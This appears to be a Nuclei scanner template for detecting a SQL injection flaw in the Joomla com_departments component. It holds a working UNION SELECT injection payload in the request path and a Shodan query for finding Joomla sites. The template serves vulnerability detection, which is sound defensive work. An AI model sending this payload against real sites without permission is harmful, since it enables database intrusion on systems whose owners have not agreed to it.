id: joomla-department-sqli

info:
  name: Joomla `departments` - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    Joomla! `com_departments` parameter contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://github.com/opensec-cn/kunpeng/blob/master/plugin/json/joomla_departments_sqli.json
    - https://github.com/w3bd0gs/cocoworker/blob/master/plugins/beebeeto/poc_2014_0170.py
  metadata:
    max-request: 1
    shodan-query: http.component:"Joomla"
  tags: joomla,sqli
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_departments&id=-1%20UNION%20SELECT%201,md5({{num}}),3,4,5,6,7,8--"

    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
# digest: 4a0a00473045022100ef26466547bd10cfbf12ca0c003bc64301fb6ae2b10d9adb633b235ea7724c46022045f3bd703e40144e23b69818b093aa0b014b902360920f43b95b3dd792b58857:922c64590222798bb761d5b6d8e72950